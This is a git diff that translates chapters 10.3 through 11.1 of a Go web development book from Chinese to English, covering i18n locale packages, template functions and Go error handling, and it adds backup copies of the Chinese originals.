fmt.Println(Tr.Money(11.11)) - //输出:¥11.11 - -## template mapfunc -上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出,但是如果我们想在模版层直接使用这些函数该怎么实现呢?不知你是否还记得,在前面介绍模板的时候说过:Go语言的模板支持自定义模板函数,下面是我们实现的方便操作的mapfunc: - -1. 文本信息 - -文本信息调用`Tr.Translate`来实现相应的信息转换,mapFunc的实现如下: - - func I18nT(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Translate(s) - } - -注册函数如下: - - t.Funcs(template.FuncMap{"T": I18nT}) - -模板中使用如下: - - {{.V.Submit | T}} - - -2. 时间日期 - -时间日期调用`Tr.Time`函数来实现相应的时间转换,mapFunc的实现如下: - - func I18nTimeDate(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Time(s) - } - -注册函数如下: - - t.Funcs(template.FuncMap{"TD": I18nTimeDate}) - -模板中使用如下: - - {{.V.Now | TD}} - -3. 货币信息 - -货币调用`Tr.Money`函数来实现相应的时间转换,mapFunc的实现如下: - - func I18nMoney(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Money(s) - } - -注册函数如下: - - t.Funcs(template.FuncMap{"M": I18nMoney}) - -模板中使用如下: - - {{.V.Money | M}} - -## 总结 -通过这小节我们知道了如何实现一个多语言包的Web应用,通过自定义语言包我们可以方便的实现多语言,而且通过配置文件能够非常方便的扩充多语言,默认情况下,go-i18n会自定加载一些公共的配置信息,例如时间、货币等,我们就可以非常方便的使用,同时为了支持在模板中使用这些函数,也实现了相应的模板函数,这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。 - -## links - * [目录]() - * 上一节: [本地化资源](<10.2.md>) - * 下一节: [小结](<10.4.md>) +# 10.3 International sites + +The previous section explained how to deal with localized resources, namely by using locale configuration files. So what can we do if we need to deal with *multiple* localized resources like text translations, times and dates, numbers, etc? This section will address these issues one by one. + +## Managing multiple locale packages + +In the development of an application, often the first thing you need to do is to decide whether or not you want to support more than one language. If you do decide to support multiple languages, you'll need to develop an organizational structure to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files together in a `config/locales` directory, or something of the like. Let's suppose you want to support both Chinese and English. In this case, you'd be placing both the en.json and zh.json locale files into the aforementioned folder. Their contents would probably look something like the following: + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of [go-i18n](https://github.com/astaxie/go-i18n) ( ***A more advanced i18n package can be found [here](https://github.com/beego/i18n)*** ), we first have to register our `config/locales` directory to load all of our locale files: + + Tr := i18n.NewLocale() + Tr.LoadPath("config/locales") + +This package is simple to use. We can test that it works like so: + + fmt.Println(Tr.Translate("submit")) + //Output "submit" + Tr.SetLocale("zn") + fmt.Println(Tr.Translate("submit")) + //Outputs "递交" + +## Automatically load local package + +We've just described how to automatically load custom language packs. In fact, the `go-i18n` library comes pre-loaded with a bunch of default formatting information such as time and currency formats. These default configurations can be overridden and customized by users to suit their needs. Consider the following process: + + //Load the default configuration files, which are placed below in `go-i18n/locales` + + //File should be named zh.json, en-json, en-US.json etc., so we can be continuously support more languages + + func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil + } + +Using the above code to load all of our default translations, we can then use the following code to select and use a locale: + + fmt.Println(Tr.Time(time.Now())) + //Output: 2009年1月08日 星期四 20:37:58 CST + + fmt.Println(Tr.Time(time.Now(),"long")) + //Output: 2009年1月08日 + + fmt.Println(Tr.Money(11.11)) + //Output: ¥11.11 + +## Template mapfunc + +Above, we've presented one way of managing and integrating a number of language packs. Some of the functions we've implemented are based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on. In the logical layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the results directly to the template layer at render time. What can we do if we want to use these functions *directly* in the template layer? In case you've forgotten, earlier in the book we mentioned that Go templates support custom template functions. The following code shows how easy mapfunc is to implement: + +1 text information + +A simple text conversion function implementing a mapfunc can be seen below. It uses `Tr.Translate` to perform the appropriate translations: + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) + } + +We register the function like so: + + t.Funcs(template.FuncMap{"T": I18nT}) + +Then use it from your template: + + {{.V.Submit | T}} + + +2. The date and time + +Dates and times call the `Tr.Time` function to perform their translations. The mapfunc is implemented as follows: + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) + } + +Register the function like so: + + t.Funcs(template.FuncMap{"TD": I18nTimeDate}) + +Then use it from your template: + + {{.V.Now | TD}} + +3 Currency Information + +Currencies use the `Tr.Money` function to convert money. The mapFunc is implemented as follows: + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) + } + +Register the function like so: + + t.Funcs(template.FuncMap{"M": I18nMoney}) + +Then use it from your template: + + {{.V.Money | M}} + +## Summary + +In this section we learned how to implement multiple language packs in our web applications. We saw that through custom language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also (through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time, currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our templates using mapping functions; each translated string can be piped directly to our templates. This enables our web applications to accommodate multiple languages with minimal effort. + +## Links + +- [Directory](preface.md) +- Previous section: [Localized resources](10.2.md) +- Next section: [Summary](10.4.md) diff --git a/en/10.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/10.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..dc95300d --- /dev/null +++ b/en/10.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,180 @@ +# 10.3 国际化站点 +前面小节介绍了如何处理本地化资源,即Locale一个相应的配置文件,那么如果处理多个的本地化资源呢?而对于一些我们经常用到的例如:简单的文本翻译、时间日期、数字等如果处理呢?本小节将一一解决这些问题。 +## 管理多个本地包 +在开发一个应用的时候,首先我们要决定是只支持一种语言,还是多种语言,如果要支持多种语言,我们则需要制定一个组织结构,以方便将来更多语言的添加。在此我们设计如下:Locale有关的文件放置在config/locales下,假设你要支持中文和英文,那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示: + + # zh.json + + { + "zh": { + "submit": "提交", + "create": "创建" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n),首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件 + + Tr:=i18n.NewLocale() + Tr.LoadPath("config/locales") + +这个包使用起来很简单,你可以通过下面的方式进行测试: + + fmt.Println(Tr.Translate("submit")) + //输出Submit + Tr.SetLocale("zn") + fmt.Println(Tr.Translate("submit")) + //输出“递交” + +## 自动加载本地包 +上面我们介绍了如何自动加载自定义语言包,其实go-i18n库已经预加载了很多默认的格式信息,例如时间格式、货币格式,用户可以在自定义配置时改写这些默认配置,请看下面的处理过程: + + + //加载默认配置文件,这些文件都放在go-i18n/locales下面 + + //文件命名zh.json、en-json、en-US.json等,可以不断的扩展支持更多的语言 + + func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil + } + +通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息: + + //locale=zh的情况下,执行如下代码: + + fmt.Println(Tr.Time(time.Now())) + //输出:2009年1月08日 星期四 20:37:58 CST + + fmt.Println(Tr.Time(time.Now(),"long")) + //输出:2009年1月08日 + + fmt.Println(Tr.Money(11.11)) + //输出:¥11.11 + +## template mapfunc +上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出,但是如果我们想在模版层直接使用这些函数该怎么实现呢?不知你是否还记得,在前面介绍模板的时候说过:Go语言的模板支持自定义模板函数,下面是我们实现的方便操作的mapfunc: + +1. 文本信息 + +文本信息调用`Tr.Translate`来实现相应的信息转换,mapFunc的实现如下: + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) + } + +注册函数如下: + + t.Funcs(template.FuncMap{"T": I18nT}) + +模板中使用如下: + + {{.V.Submit | T}} + + +2. 时间日期 + +时间日期调用`Tr.Time`函数来实现相应的时间转换,mapFunc的实现如下: + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) + } + +注册函数如下: + + t.Funcs(template.FuncMap{"TD": I18nTimeDate}) + +模板中使用如下: + + {{.V.Now | TD}} + +3. 货币信息 + +货币调用`Tr.Money`函数来实现相应的时间转换,mapFunc的实现如下: + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) + } + +注册函数如下: + + t.Funcs(template.FuncMap{"M": I18nMoney}) + +模板中使用如下: + + {{.V.Money | M}} + +## 总结 +通过这小节我们知道了如何实现一个多语言包的Web应用,通过自定义语言包我们可以方便的实现多语言,而且通过配置文件能够非常方便的扩充多语言,默认情况下,go-i18n会自定加载一些公共的配置信息,例如时间、货币等,我们就可以非常方便的使用,同时为了支持在模板中使用这些函数,也实现了相应的模板函数,这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。 + +## links + * [目录]() + * 上一节: [本地化资源](<10.2.md>) + * 下一节: [小结](<10.4.md>) diff --git a/en/10.4.md b/en/10.4.md index 6f8f2579..072ac749 100644 --- a/en/10.4.md +++ b/en/10.4.md @@ -1,6 +1,9 @@ -# 10.4 小结 -通过这一章的介绍,读者应该对如何操作i18n有了深入的了解,我也根据这一章介绍的内容实现了一个开源的解决方案go-i18n:https://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用,使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方,请一起参与到这个开源项目中来,让我们的这个库争取成为Go的标准库。 -## links - * [目录]() - * 上一节: [国际化站点](<10.3.md>) - * 下一节: [错误处理,故障排除和测试](<11.0.md>) +# 10.4 Summary + +Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are necessary for internationalizing and localizing your websites. I've also introduced an open source solution for i18n in Go: [go-i18n](https://github.com/astaxie/go-i18n). Using this open source library, we can easily implement multi-language versions of our web applications. This allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open source library or any missing features, please open an issue or a pull request! Let's strive to make it one of Go's standard libraries! + +## Links + +- [Directory](preface.md) +- Previous section: [International sites](10.3.md) +- Next chapter: [Error handling, debugging and testing](11.0.md) diff --git a/en/10.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/10.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..b58fa62b --- /dev/null +++ b/en/10.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,6 @@ +# 10.4 小结 +通过这一章的介绍,读者应该对如何操作i18n有了深入的了解,我也根据这一章介绍的内容实现了一个开源的解决方案go-i18n:https://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用,使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方,请一起参与到这个开源项目中来,让我们的这个库争取成为Go的标准库。 +## links + * [目录]() + * 上一节: [国际化站点](<10.3.md>) + * 下一节: [错误处理,故障排除和测试](<11.0.md>) diff --git a/en/11.0.md b/en/11.0.md index f1f27b7b..0d0cb8c3 100644 --- a/en/11.0.md +++ b/en/11.0.md @@ -1,19 +1,17 @@ -# 11 错误处理,调试和测试 -我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统,几乎都是花费大量的时间在进行故障排除和测试,外界都觉得我们程序员是设计师,能够把一个系统从无做到有,是一项很伟大的工作,而且是相当有趣的工作,但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题,那么你就有可能将排错时间减到最少,而尽可能的将时间花费在更有价值的事情上。 - -但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。 - -开发Web应用过程中,错误自然难免,那么如何更好的找到错误原因,解决问题呢?11.1小节将介绍Go语言中如何处理错误,如何设计自己的包、函数的错误处理,11.2小节将介绍如何使用GDB来调试我们的程序,动态运行情况下各种变量信息,运行情况的监控和调试。 - -11.3小节将对Go语言中的单元测试进行深入的探讨,并示例如何来编写单元测试,Go的单元测试规则规范如何定义,以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。 - -长期以来,培养良好的调试、测试习惯一直是很多程序员逃避的事情,所以现在你不要再逃避了,就从你现在的项目开发,从学习Go Web开发开始养成良好的习惯。 - -## 目录 - -![](images/navi11.png?raw=true) - -## links - * [目录]() - * 上一章: [第十章总结](<10.4.md>) - * 下一节: [错误处理](<11.1.md>) \ No newline at end of file +# 11 Error Handling, Debugging, and Testing + +We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting and testing. From the outside, people may think that all we do as programmers is design our systems and then write our code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have never been done before. While this last part may be true, what they don't know is that we spend the majority of our time cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling you to focus instead on more valuable things like the application logic. + +Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred, spending hours locating and fixing problems after the application is already online. It's good practice (and probably common sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make your job, and the jobs of all the other developers who may be working on your application someday, much easier when they inevitably need to modify the code or upgrade the system. + +In the process of developing web applications, you will inevitably encounter unforeseen errors. What's the most efficient way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss application monitoring and debugging operations. + +Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests, as well as defining Go's unit testing rules. We'll see how following these rules will ensure that when upgrading or modifying your application, the test code will be able to run smoothly. + +Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on these issues head-on so you won't have to run away from these tasks any longer. Since you're just learning how to build web applications in Go, let's use this opportunity to establish these good habits from the very beginning. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 10 summary](10.4.md) +- Next section: [Error handling](11.1.md) diff --git a/en/11.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/11.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..230a3475 --- /dev/null +++ b/en/11.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,19 @@ +# 11 错误处理,调试和测试 +我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统,几乎都是花费大量的时间在进行故障排除和测试,外界都觉得我们程序员是设计师,能够把一个系统从无做到有,是一项很伟大的工作,而且是相当有趣的工作,但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题,那么你就有可能将排错时间减到最少,而尽可能的将时间花费在更有价值的事情上。 + +但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。 + +开发Web应用过程中,错误自然难免,那么如何更好的找到错误原因,解决问题呢?11.1小节将介绍Go语言中如何处理错误,如何设计自己的包、函数的错误处理,11.2小节将介绍如何使用GDB来调试我们的程序,动态运行情况下各种变量信息,运行情况的监控和调试。 + +11.3小节将对Go语言中的单元测试进行深入的探讨,并示例如何来编写单元测试,Go的单元测试规则规范如何定义,以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。 + +长期以来,培养良好的调试、测试习惯一直是很多程序员逃避的事情,所以现在你不要再逃避了,就从你现在的项目开发,从学习Go Web开发开始养成良好的习惯。 + +## 目录 + +![](images/navi11.png?raw=true) + +## links + * [目录]() + * 上一章: [第十章总结](<10.4.md>) + * 下一节: [错误处理](<11.1.md>) \ No newline at end of file diff --git a/en/11.1.md b/en/11.1.md index 26c754f2..a29e19df 100644 --- a/en/11.1.md +++ b/en/11.1.md @@ -1,200 +1,213 @@ -# 11.1 错误处理 -Go语言主要的设计准则是:简洁、明白,简洁是指语法和C类似,相当的简单,明白是指任何语句都是很明显的,不含有任何隐含的东西,在错误处理方案的设计中也贯彻了这一思想。我们知道在C语言里面是通过返回-1或者NULL之类的信息来表示错误,但是对于使用者来说,不查看相应的API说明文档,根本搞不清楚这个返回值究竟代表什么意思,比如:返回0是成功,还是失败,而Go定义了一个叫做error的类型,来显式表达错误。在使用时,通过把返回的error变量与nil的比较,来判定操作是否成功。例如`os.Open`函数在打开文件失败时将返回一个不为nil的error变量 - - func Open(name string) (file *File, err error) - -下面这个例子通过调用`os.Open`打开一个文件,如果出现错误,那么就会调用`log.Fatal`来输出错误信息: - - f, err := os.Open("filename.ext") - if err != nil { - log.Fatal(err) - } - -类似于`os.Open`函数,标准包中所有可能出错的API都会返回一个error变量,以方便错误处理,这个小节将详细地介绍error类型的设计,和讨论开发Web应用中如何更好地处理error。 -## Error类型 -error类型是一个接口类型,这是它的定义: - - type error interface { - Error() string - } - -error是一个内置的接口类型,我们可以在/builtin/包下面找到相应的定义。而我们在很多内部包里面用到的 error是errors包下面的实现的私有结构errorString - - // errorString is a trivial implementation of error. - type errorString struct { - s string - } - - func (e *errorString) Error() string { - return e.s - } - -你可以通过`errors.New`把一个字符串转化为errorString,以得到一个满足接口error的对象,其内部实现如下: - - // New returns an error that formats as the given text. - func New(text string) error { - return &errorString{text} - } - -下面这个例子演示了如何使用`errors.New`: - - func Sqrt(f float64) (float64, error) { - if f < 0 { - return 0, errors.New("math: square root of negative number") - } - // implementation - } - -在下面的例子中,我们在调用Sqrt的时候传递的一个负数,然后就得到了non-nil的error对象,将此对象与nil比较,结果为true,所以fmt.Println(fmt包在处理error时会调用Error方法)被调用,以输出错误,请看下面调用的示例代码: - - f, err := Sqrt(-1) - if err != nil { - fmt.Println(err) - } - -## 自定义Error -通过上面的介绍我们知道error是一个interface,所以在实现自己的包的时候,通过定义实现此接口的结构,我们就可以实现自己的错误定义,请看来自Json包的示例: - - type SyntaxError struct { - msg string // 错误描述 - Offset int64 // 错误发生的位置 - } - - func (e *SyntaxError) Error() string { return e.msg } - -Offset字段在调用Error的时候不会被打印,但是我们可以通过类型断言获取错误类型,然后可以打印相应的错误信息,请看下面的例子: - - if err := dec.Decode(&val); err != nil { - if serr, ok := err.(*json.SyntaxError); ok { - line, col := findLine(f, serr.Offset) - return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) - } - return err - } - -需要注意的是,函数返回自定义错误时,返回值推荐设置为error类型,而非自定义错误类型,特别需要注意的是不应预声明自定义错误类型的变量。例如: - - func Decode() *SyntaxError { // 错误,将可能导致上层调用者err!=nil的判断永远为true。 - var err *SyntaxError // 预声明错误变量 - if 出错条件 { - err = &SyntaxError{} - } - return err // 错误,err永远等于非nil,导致上层调用者err!=nil的判断始终为true - } - -原因见 http://golang.org/doc/faq#nil_error - -上面例子简单的演示了如何自定义Error类型。但是如果我们还需要更复杂的错误处理呢?此时,我们来参考一下net包采用的方法: - - package net - - type Error interface { - error - Timeout() bool // Is the error a timeout? - Temporary() bool // Is the error temporary? - } - -在调用的地方,通过类型断言err是不是net.Error,来细化错误的处理,例如下面的例子,如果一个网络发生临时性错误,那么将会sleep 1秒之后重试: - - if nerr, ok := err.(net.Error); ok && nerr.Temporary() { - time.Sleep(1e9) - continue - } - if err != nil { - log.Fatal(err) - } - -## 错误处理 -Go在错误处理上采用了与C类似的检查返回值的方式,而不是其他多数主流语言采用的异常方式,这造成了代码编写上的一个很大的缺点:错误处理代码的冗余,对于这种情况是我们通过复用检测函数来减少类似的代码。 - -请看下面这个例子代码: - - func init() { - http.HandleFunc("/view", viewRecord) - } - - func viewRecord(w http.ResponseWriter, r *http.Request) { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - http.Error(w, err.Error(), 500) - return - } - if err := viewTemplate.Execute(w, record); err != nil { - http.Error(w, err.Error(), 500) - } - } - -上面的例子中获取数据和模板展示调用时都有检测错误,当有错误发生时,调用了统一的处理函数`http.Error`,返回给客户端500错误码,并显示相应的错误数据。但是当越来越多的HandleFunc加入之后,这样的错误处理逻辑代码就会越来越多,其实我们可以通过自定义路由器来缩减代码(实现的思路可以参考第三章的HTTP详解)。 - - type appHandler func(http.ResponseWriter, *http.Request) error - - func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if err := fn(w, r); err != nil { - http.Error(w, err.Error(), 500) - } - } - -上面我们定义了自定义的路由器,然后我们可以通过如下方式来注册函数: - - func init() { - http.Handle("/view", appHandler(viewRecord)) - } - -当请求/view的时候我们的逻辑处理可以变成如下代码,和第一种实现方式相比较已经简单了很多。 - - func viewRecord(w http.ResponseWriter, r *http.Request) error { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - return err - } - return viewTemplate.Execute(w, record) - } - -上面的例子错误处理的时候所有的错误返回给用户的都是500错误码,然后打印出来相应的错误代码,其实我们可以把这个错误信息定义的更加友好,调试的时候也方便定位问题,我们可以自定义返回的错误类型: - - type appError struct { - Error error - Message string - Code int - } - -这样我们的自定义路由器可以改成如下方式: - - type appHandler func(http.ResponseWriter, *http.Request) *appError - - func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if e := fn(w, r); e != nil { // e is *appError, not os.Error. - c := appengine.NewContext(r) - c.Errorf("%v", e.Error) - http.Error(w, e.Message, e.Code) - } - } - -这样修改完自定义错误之后,我们的逻辑处理可以改成如下方式: - - func viewRecord(w http.ResponseWriter, r *http.Request) *appError { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - return &appError{err, "Record not found", 404} - } - if err := viewTemplate.Execute(w, record); err != nil { - return &appError{err, "Can't display record", 500} - } - return nil - } - -如上所示,在我们访问view的时候可以根据不同的情况获取不同的错误码和错误信息,虽然这个和第一个版本的代码量差不多,但是这个显示的错误更加明显,提示的错误信息更加友好,扩展性也比第一个更好。 - -## 总结 -在程序设计中,容错是相当重要的一部分工作,在Go中它是通过错误处理来实现的,error虽然只是一个接口,但是其变化却可以有很多,我们可以根据自己的需求来实现不同的处理,最后介绍的错误处理方案,希望能给大家在如何设计更好Web错误处理方案上带来一点思路。 - -## links - * [目录]() - * 上一节: [错误处理,调试和测试](<11.0.md>) - * 下一节: [使用GDB调试](<11.2.md>) +# 11.1 Error handling + +Go's major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C), statements are explicit and don't contain hidden any hidden or unexpected things. Go's error handling scheme reflects all of these principles in the way that it's implemented. If you're familiar with the C language, you'll know that it's common to return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C's API will not know exactly what these return values mean. In C, it's not explicit whether a value of `0` indicates success of failure. On the other hand, Go explicitly defines a type called `error` for the sole purpose of expressing errors. Whenever a function returns, we check to see whether the error variable is `nil` or not to determine if the operation was successful. For example, the `os.Open` function fails, it will return a non-nil error variable. + + func Open(name string) (file * File, err error) + +Here's an example of how we'd handle an error in `os.Open`. First, we attempt to open a file. When the function returns, we check to see whether it succeeded or not by comparing the error return value with nil, calling `log.Fatal` to output an error message if it's a non-nil value: + + f, err := os.Open("filename.ext") + if err != nil { + log.Fatal(err) + } + +Similar to the `os.Open` function, the functions in Go's standard packages all return error variables to facilitate error handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web applications. + +## Error type + +`error` is an interface type with the following definition: + + type error interface { + Error() string + } + +`error` is a built-in interface type, we can / builtin / pack below to find the appropriate definition. And we have a lot of internal error is used inside the package packet errors following implementation structure errorString private + + + +`error` is a built-in interface type. We can find the corresponding definition in the builtin package below. We also have a lot of internal packages using the error in a private structure called `errorString`, which implements the error interface: + + // errorString is a trivial implementation of error. + type errorString struct { + s string + } + + func (e *errorString) Error() string { + return e.s + } + +You can convert a regular string to an `errorString` through `errors.New` in order to get an object that satisfies the error interface. Its internal implementation is as follows: + + // New returns an error that formats as the given text. + func New(text string) error { + return &errorString{text} + } + +The following example demonstrates how to use `errors.New`: + + func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation + } + +In the following example, we pass a negative number to our `Sqrt` function. Checking the `err` variable, we check whether the error object is non-nil using a simple nil comparison. The result of the comparison is true, so `fmt.Println` (the `fmt` package calls the error method when dealing with error calls) is called to output an error. + + f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } + +## Custom Errors + +Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface, we can implement their error definitions. Here's an example from the JSON package: + + type SyntaxError struct { + msg string // error description + Offset int64 // where the error occurred + } + + func (e * SyntaxError) Error() string {return e.msg} + +The error's `Offset` field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you can print the desired error message: + + if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err + } + +It should be noted that when the function returns a custom error, the return value is set to the recommend type of error rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example: + + func Decode() *SyntaxError { + // error, which may lead to the caller's err != nil comparison to always be true. + var err * SyntaxError // pre-declare error variable + if an error condition { + err = &SyntaxError{} + } + return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true + } + +See http://golang.org/doc/faq#nil_error for an in depth explanation + +The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error handling? In this case, we have to refer to the `net` package approach: + + package net + + type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? + } + + +Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the operation. + + if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue + } + if err != nil { + log.Fatal(err) + } + +## Error handling + +Go handles errors and checks the return values of functions in a C-like fashion, which is different than what most of the other major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling behaviour: + + func init() { + http.HandleFunc("/view", viewRecord) + } + + func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } + } + +The above example demonstrate access to data and template call has detected error when an error occurs , call a unified handler http.Error, returns a 500 error code to the client , and display the corresponding error data. But when more and more HandleFunc join, so error-handling logic code will be more and more, in fact, we can customize the router to reduce code ( refer to realize the idea of ​​the third chapter of HTTP Detailed) . + +The above function is an example of getting data and handling an error when it occurs by calling a unified error processing function called `http.Error`. In this case, it will return an Internal Error 500 code to the client, and display the corresponding error data. Even using this method however, when 